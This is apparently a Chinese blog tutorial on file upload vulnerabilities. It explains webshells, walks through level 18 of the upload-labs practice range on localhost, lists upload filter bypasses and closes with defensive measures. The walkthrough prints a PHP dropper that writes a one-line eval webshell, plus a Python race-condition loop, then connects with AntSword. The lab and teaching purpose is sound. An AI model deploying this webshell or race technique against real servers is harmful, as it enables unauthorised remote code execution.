当前位置:   article > 正文

文件上传漏洞及防御_文件上传漏洞的防范措施

文件上传漏洞的防范措施

一,什么是文件上传漏洞

       文件上传漏洞是指网站或应用程序中存在的一种安全漏洞,攻击者可以利用该漏洞向服务器上传恶意文件。通过文件上传漏洞,攻击者可以上传包含恶意代码的文件,如Web shell、恶意脚本、恶意软件等,从而获取服务器的控制权或执行恶意操作。这可能导致服务器被入侵、敏感数据泄露、服务拒绝等安全问题。通常,攻击者利用文件上传漏洞来执行远程代码,控制服务器或网站,进而实施更广泛的攻击。

危害:

  1. 挂接黑链;
  2. 挖矿;
  3. 文件数据泄露;

二,Webshell

Web shell是一种恶意代码,通常是一段服务器端脚本,可以被黑客上传到受攻击的Web服务器上。一旦成功上传并执行,Web shell可以提供黑客与服务器之间的交互式命令行界面,使黑客能够执行各种操作,如文件操作、系统命令执行、数据库操作等。

Web shell的功能包括但不限于以下几点:

  • 文件管理:可以查看、上传、下载、编辑服务器上的文件。
  • 系统命令执行:可以执行系统命令,如查看系统信息、执行Shell命令等。
  • 数据库操作:可以连接数据库并执行数据库操作。
  • 网站操作:可以修改网站文件、植入恶意代码、篡改网页等。
  • 信息收集:可以获取服务器信息、用户信息、敏感数据等。

Web shell通常被黑客用于获取服务器控制权、窃取敏感信息、传播恶意软件等恶意活动。防范Web shell的方法包括对服务器进行定期安全审计、限制文件上传类型、加强访问控制、定期更新系统和应用程序等。及时发现并清除Web shell对于维护服务器安全至关重要。

webshell主要分为以下三类;

一句话木马(主要特点);

  • 代码短,一般只有一行代码
  • 场景多,可以单独生成文件,也可以插入到图片中
  • 安全性高,隐匿性强,可变形免杀

小马;

  • 体积小,功能少。只有文件上传功能

大马;

  • 体积大,功能全。能够管理数据库、文件管理、 对站点进行快速的信息收集,甚至能够提权

三,文件上传靶场(upload-labs)

这里以upload-labs的18关为例;

首先查看源码;

  1. $is_upload = false;
  2. $msg = null;
  3. if(isset($_POST['submit'])){
  4. $ext_arr = array('jpg','png','gif');
  5. $file_name = $_FILES['upload_file']['name'];
  6. $temp_file = $_FILES['upload_file']['tmp_name'];
  7. $file_ext = substr($file_name,strrpos($file_name,".")+1);
  8. $upload_file = UPLOAD_PATH . '/' . $file_name;
  9. if(move_uploaded_file($temp_file, $upload_file)){
  10. if(in_array($file_ext,$ext_arr)){
  11. $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
  12. rename($upload_file, $img_path);
  13. $is_upload = true;
  14. }else{
  15. $msg = "只允许上传.jpg|.png|.gif类型文件!";
  16. unlink($upload_file);
  17. }
  18. }else{
  19. $msg = '上传出错!';
  20. }
  21. }

发现这一关是首先将文件上传到后端服务器;然后再使用rname(),修改名称;再删除文件;

利用方法:使用 burp 或者 python 脚本对要上传的文件路径进行不断的访(upload/nbshell.php),上传一个 nb shell.php ,但访问该文件,会在目录下生成一 个 huan.php
nbshell.php的内容为:
  1. <?php
  2. fputs(fopen('huan.php','w'),'<?php @eval($_POST["huan"])?>');
  3. ?>

首先使用burp抓包;

使用intruder模块不断发起请求(不设置payload),

怎加并发线程数;

然后编写python脚本,使其不断访问nbshell.php,使其产生新的文件huan.php

python脚本;

  1. import requests
  2. url = "http://localhost/upload-labs/upload/nbshell.php"
  3. while True:
  4. html = requests.get(url)
  5. if html.status_code == 200:
  6. print("ok")
  7. break

首先运行burp,发起请求,再运行python脚本;

然后观察到python运行成功;

查看上传的文件,发现存在huan.php;说明上传成功;

然后使用中国蚁剑尝试连接;

可以看到连接成功;然后添加数据进行访问(这样就可以通关);

(这里仅仅对18关进行演示)

四,文件上传漏洞的利用

1,找到文件上传的位置,通过提供的上传文件的接口(不一定);

2,尝试绕过,成功上传文件;

常见的绕过方式;

  • 删除/禁用前端JavaScript;
  • 抓包修改;
  • 等价扩展名;
  • 大小写绕过;
  • 双写;
  • 截断(%00);
  • 图片马的绕过;

3,获得文件的位置;

4,使用蚁剑进行连接;

五,文件上传的防御

文件上传漏洞是一种常见的Web应用程序安全问题,攻击者可以利用这种漏洞上传恶意文件到服务器,从而执行恶意代码或篡改数据。以下是一些防御文件上传漏洞的方法:

1. 文件类型检查:在上传文件时,验证文件的类型和扩展名,只允许上传安全的文件类型,如图片、文档等。可以通过检查文件的MIME类型或文件扩展名来进行验证。

2. 文件大小限制:限制上传文件的大小,避免上传过大的文件导致服务器资源耗尽。可以设置最大文件大小的限制,超过限制的文件将被拒绝上传。

3. 文件名检查(扩展名):对上传的文件名进行检查,避免使用特殊字符或恶意代码。可以对文件名进行过滤或重命名,确保文件名安全。

4. 文件内容检查:对上传的文件内容进行检查,确保文件不包含恶意代码或脚本。可以使用文件扫描工具对上传的文件进行检测,以识别潜在的恶意代码。

5. 存储路径隔离(不要暴露上传的路径):将上传的文件存储在独立的目录中,避免上传文件直接存储在Web根目录下。这样可以防止恶意文件被直接执行或访问。

6. 文件权限设置:设置上传文件的权限,确保只有必要的用户可以访问上传的文件。避免设置过于宽松的文件权限,以防止恶意用户访问或执行上传的文件。

通过以上方法结合使用,可以有效防御文件上传漏洞,保护Web应用程序的安全。

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号